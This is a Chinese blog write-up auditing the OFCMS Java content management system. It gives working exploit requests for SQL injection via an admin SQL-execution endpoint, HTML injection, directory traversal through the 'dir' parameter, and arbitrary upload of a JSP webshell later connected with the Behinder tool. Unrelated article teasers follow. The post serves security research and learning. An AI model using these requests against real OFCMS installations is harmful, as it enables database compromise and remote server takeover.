OFCMS代码审计

news2024/9/23 15:29:21

环境搭建

https://blog.csdn.net/oufua/article/details/82584637
在这里插入图片描述
在这里插入图片描述

安装后是重启容器

在这里插入图片描述

最后
db-config.properties 改成db.properties 修改数据库连接

在这里插入图片描述
在这里插入图片描述

搭建成功

在这里插入图片描述

代码审计

在这里插入图片描述


sql注入审计

全局搜索${ 查看没有预编译的sql语句,从而找到sql注入功能点

在这里插入图片描述

在这里插入图片描述

Ctrl+alt+h 查看函数的调用栈

寻找到一处没有进行任何处理的sql语句

    public void create() {
      try {
         String sql = getPara("sql");
         Db.update(sql);
         rendSuccessJson();
      } catch (Exception e) {
         e.printStackTrace();
         rendFailedJson(ErrorCode.get("9999"), e.getMessage());
      }
   }
}

getPara(“sql”) 后直接交给Db.update(sql)执行

下断点测试一下
在这里插入图片描述

利用

请求包
http://localhost:8080/ofcms_admin_war/admin/system/generate/create?sql=UPDATE%20of_cms_api%20SET%20api_url=updatexml(2,concat(0x7e,(version())),0)

响应包
{“msg”:“java.sql.SQLException: XPATH syntax error: ‘~5.7.26’”,“code”:“处理失败请稍后重试!”,“success”:false}

在这里插入图片描述


HTML注入

http://localhost:8080/ofcms_admin_war/admin/comn/service/update.json?sqlid=system.task.update

payload

<h2>aaaa</h2>

在这里插入图片描述

保存和查询输出并未过滤,可能前端有限制js,需要绕一些前端应该会存在xss

在这里插入图片描述

目录穿越漏洞

保存模板的地方存在传入参数dir
全局搜索dir

在这里插入图片描述

关键代码

public void getTemplates() {
    //当前目录
    String dirName = getPara("dir","");
    //上级目录
    String upDirName = getPara("up_dir","/");
    //类型区分
        String resPath = getPara("res_path");
    //文件目录
    String dir = null;
    if(!"/".equals(upDirName)){
          dir = upDirName+dirName;
    }else{
          dir = dirName;
    }
    File pathFile = null;
    if("res".equals(resPath)){
        pathFile = new File(SystemUtile.getSiteTemplateResourcePath(),dir);
    }else {
        pathFile = new File(SystemUtile.getSiteTemplatePath(),dir);
    }

在这里插入图片描述

传入的路径没有过滤直接使用
在这里插入图片描述

利用

http://localhost:8080/ofcms_admin_war/admin/cms/template/getTemplates.html?dir=…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/

在这里插入图片描述
在这里插入图片描述


任意文件上传

在查看调用栈的时候发现了save保存文件的接口只过滤了<>

使用url编码上传木马测试
任意文件上传

关键代码

public void save() {
    String resPath = getPara("res_path");
    File pathFile = null;
    if("res".equals(resPath)){
        pathFile = new File(SystemUtile.getSiteTemplateResourcePath());
    }else {
        pathFile = new File(SystemUtile.getSiteTemplatePath());
    }
    String dirName = getPara("dirs");
    if (dirName != null) {
        pathFile = new File(pathFile, dirName);
    }
    String fileName = getPara("file_name");
    // 没有用getPara原因是,getPara因为安全问题会过滤某些html元素。
    String fileContent = getRequest().getParameter("file_content");
    fileContent = fileContent.replace("&lt;", "<").replace("&gt;", ">");
    File file = new File(pathFile, fileName);
    FileUtils.writeString(file, fileContent);
    rendSuccessJson();
}

接下来要尝试构造参数
filen_name res_path=res

dir=/ file_content 就可以任意文件上传了

利用

可以上传jsp文件
参数:
file_path=&dirs=%2F&res_path=res&file_name=shell.jsp&file_content=aaaaaaa

在这里插入图片描述

写入成功
在这里插入图片描述

由于MVC问题,无法正常访问到所有找一个静态路径试一下。
在这里插入图片描述

写入到静态页面static目录下,也就是…/…/static/目录下
在这里插入图片描述

写入成功
在这里插入图片描述
成功访问到,接下getshell试一下。
在这里插入图片描述

接下来上传冰蝎的马连一下
在这里插入图片描述

成功上线
在这里插入图片描述


框架漏洞

Fastjson反序列化

在这里插入图片描述

学习中,全局搜索危险函数并未发现可控的功能点

Log4j代码审计

参考:http://www.hackdig.com/06/hack-1021138.htm

在这里插入图片描述

判断一个网站系统是否存在log4j远程命令执行漏洞需要判断一下几个条件:
1、 是否使用了存在漏洞版本的log4j组件
2、是否使用类似这种危险函数:logger.debug ,logger.info ,logger.warn , logger.error ,logger.fatal
3、函数内的参数值是否用户可控

发现危险性函数,看看参数是不是可以控制

在这里插入图片描述

部分代码

    while (!stopRequested) {
      log.info("##### 自动更新配置文件服务启动, 更新间隔时间 " + interval + " 秒");
      // 去除 Engine 中的缓存,以免 get 出来后重新判断 isModified
      sqlKit.getEngine().removeAllTemplateCache();
      sqlKit.parseSqlTemplate();
      try {
         sleep(interval * 1000);
      } catch (InterruptedException e) {
         runThread.interrupt();
      }
   }
   log.info("##### 自动更新配置文件服务退出");
}

发现是固定参数用户不可控

在这里插入图片描述

未完待续,继续学习。

参考文章

环境搭建:
https://blog.csdn.net/oufua/article/details/82584637

Log4j代码审计
http://www.hackdig.com/06/hack-1021138.htm

说明

仅作为安全研究使用,请勿使用未授权的攻击行为,遵循法律法规。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/834162.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

AIGC大模型ChatGLM2-6B:国产版chatgpt本地部署及体验

1 ChatGLM2-6B介绍 ChatGLM是清华技术成果转化的公司智谱AI研发的支持中英双语的对话机器人。ChatGLM基于GLM130B千亿基础模型训练&#xff0c;它具备多领域知识、代码能力、常识推理及运用能力&#xff1b;支持与用户通过自然语言对话进行交互&#xff0c;处理多种自然语言任务…

干翻Dubbo系列第八篇:Dubbo直连开发核心三要素概述

文章目录 文章说明 一&#xff1a;Dubbo直连开发概念 1&#xff1a;直连设计中的核心组件 (一)&#xff1a;Provider服务的提供者 (二): Consumer服务的访问者 (三)&#xff1a;网络通信明白图 文章说明 本文内容整理自《孙哥说Dubbo系列视频课程》&#xff0c;孙帅老师…

❤ npm不是内部或外部命令,也不是可运行的程序 或批处理文件

❤ npm不是内部或外部命令,也不是可运行的程序 或批处理文件 cmd或者终端用nvm 安装提示&#xff1a; npm不是内部或外部命令,也不是可运行的程序或批处理文件 原因&#xff08;一&#xff09; 提示这个问题&#xff0c;有可能是Node没有安装&#xff0c;也有可能是没有配置…

【LeetCode】105. 从前序与中序遍历序列构造二叉树 106. 从中序与后序遍历序列构造二叉树

105. 从前序与中序遍历序列构造二叉树 这道题也是经典的数据结构题了&#xff0c;有时候面试题也会遇到&#xff0c;已知前序与中序的遍历序列&#xff0c;由前序遍历我们可以知道第一个元素就是根节点&#xff0c;而中序遍历的特点就是根节点的左边全部为左子树&#xff0c;右…

C高级-day2

思维导图 #!/bin/bash echo "$(head -n 5 /etc/group | tail -1)" mkdir /home/ubuntu/copy cd /home/ubuntu/copy cp /etc/shadow test chown root test chmod o-r,o-w,o-x test#include <myhead.h> //递归实现&#xff0c;输入一个数&#xff0c;输出这个数的…

OpenShift 4 - 可观测性之用 OpenTelemetry+Tempo 实现 Distributed Tracing

《OpenShift / RHEL / DevSecOps 汇总目录》 说明&#xff1a;本文已经在支持 OpenShift 4.13 的环境中验证 文章目录 技术架构部署 Distributed Tracing 运行环境安装 minio 环境安装 Grafana Tempo 环境 部署测试应用并进行观测跟踪测试应用1测试应用2 参考 技术架构 Tempo …

Vue3 watch监听器

概览&#xff1a;watch监听器的定义以及使用场景。在vue3中的监听器的使用方式&#xff0c;watch的三个参数&#xff0c;以及进一步了解第一个参数可以是一个属性&#xff0c;也可以是一个数组的形式包含多个属性。 watch在vue3和vue2中的使用&#xff1a; vue3中&#xff1a…

互联网+同城上门预约推拿系统-到家理疗服务平台源码

随着互联网技术的不断发展&#xff0c;越来越多的传统行业开始拥抱互联网&#xff0c;实现线上线下融合。推拿按摩作为人们日常保健、治疗疾病的一种方式&#xff0c;也在不断探索与互联网的结合。 本文将介绍基于互联网思维的家庭同城预约推拿系统到家服务平台的源码如何实现…

k8s pod数据存储Volumes

一、说在前面的话 在 Kubernetes 的 Deployment 中&#xff0c;您可以使用多种类型的 Volumes 来管理 Pod 中的数据。 作用是用来共享目录及配置&#xff0c;不用在每个pod里进行配置。 本文主要概述怎么使用HostPath、PersistentVolumeClaim、ConfigMap。 二、k8s有哪些Vol…

嵌入式入门教学——C51

一、前期准备 1、硬件设备 2、软件设备 二、预备知识 1、什么是单片机&#xff1f; 在一片集成电路芯片上集成微处理器、存储器、IO接口电路&#xff0c;从而构成了单芯片微型计算机&#xff0c;及单片机。STC89C52单片机&#xff1a; STC&#xff1a;公司89&#xff1a;所属…

基于图片、无人机、摄像头拍摄进行智能检测功能

根据要求进行无人机拍摄的视频或图片进行智能识别&#xff0c;开发过程需要事项 1、根据图片案例进行标记&#xff0c;进行模型训练 2、视频模型训练 开发语言为python 根据需求功能进行测试结果如下 根据车辆识别标记进行的测试结果截图 测经过查看视频 8月1日

深度学习论文: RepViT: Revisiting Mobile CNN From ViT Perspective及其PyTorch实现

深度学习论文: RepViT: Revisiting Mobile CNN From ViT Perspective及其PyTorch实现 RepViT: Revisiting Mobile CNN From ViT Perspective PDF: https://arxiv.org/pdf/2307.09283.pdf PyTorch代码: https://github.com/shanglianlm0525/CvPytorch PyTorch代码: https://gith…

DSP学习笔记

间接寻址&#xff08;通过放在辅助寄存器里面&#xff0c;可以对地址包括很多操作&#xff0c;1&#xff0c;-1&#xff0c;/-平移量&#xff0c;辅助寄存器内容的修改是在ARAU0和ARAU1中完成的。分为单操作数和双操作数&#xff0c;有很多模式在ARAU。单操作数间接寻址&#x…

[PyTorch][chapter 46][LSTM -1]

前言&#xff1a; 长短期记忆网络&#xff08;LSTM&#xff0c;Long Short-Term Memory&#xff09;是一种时间循环神经网络&#xff0c;是为了解决一般的RNN&#xff08;循环神经网络&#xff09;存在的长期依赖问题而专门设计出来的。 目录&#xff1a; 背景简介 LSTM C…

dubbo的高可用

1、zookeeper宕机与dubbo直连 现象&#xff1a;zookeeper注册中心宕机&#xff0c;还可以消费dubbo暴露的服务。 原因&#xff1a; 健壮性 &#xff08;1&#xff09;监控中心宕掉不影响使用&#xff0c;只是丢失部分采样数据. &#xff08;2&#xff09;数据库宕掉后&#x…

三、线性工作流

再生产的各个环节&#xff0c;正确使用gamma编码及gamma解码&#xff0c;使得最终得到的颜色数据与最初输入的物理数据一致。如果使用gamma空间的贴图&#xff0c;在传给着色器前需要从gamma空间转到线性空间。 如果不在线性空间下进行渲染&#xff0c;会产生的问题&#xff1a…

SQL Server安装配置

又得装数据库...头秃 报错 其他信息: 在与 SQL Server 建立连接时出现与网络相关的或特定于实例的错误。未找到或无法访问服务器。请验证... 1是可能主机名不一致导致的&#xff0c;这种换主机名&#xff0c;二是没开sql 服务。 第二种先打开SQL Server 资源配置管理器 打…

【腾讯云Cloud Studio实战训练营】React 快速构建点餐页面

前言&#xff1a; Cloud Studio是一个在线的云集成开发环境&#xff08;IDE&#xff09;&#xff0c;可以让开发人员在浏览器中轻松地开发、测试、调试和部署应用程序。它提供了基于云的计算资源和工具&#xff0c;例如代码编辑器、编译器、调试器、版本控制系统和项目管理工具…

8.4算法

#include <stdio.h> #include <stdlib.h> #include <string.h>// 1.求1/阶乘累加 int main() {int n;int i;double temp 1;double result 0;printf("Input:");scanf("%d", &n);for (i 1; i < n; i) {temp * i;//1,2,6,24resul…

Kafka的配置和使用

目录 1.服务器用docker安装kafka 2.springboot集成kafka实现生产者和消费者 1.服务器用docker安装kafka ①、安装docker&#xff08;docker类似于linux的软件商店&#xff0c;下载所有应用都能从docker去下载&#xff09; a、自动安装 curl -fsSL https://get.docker.com | b…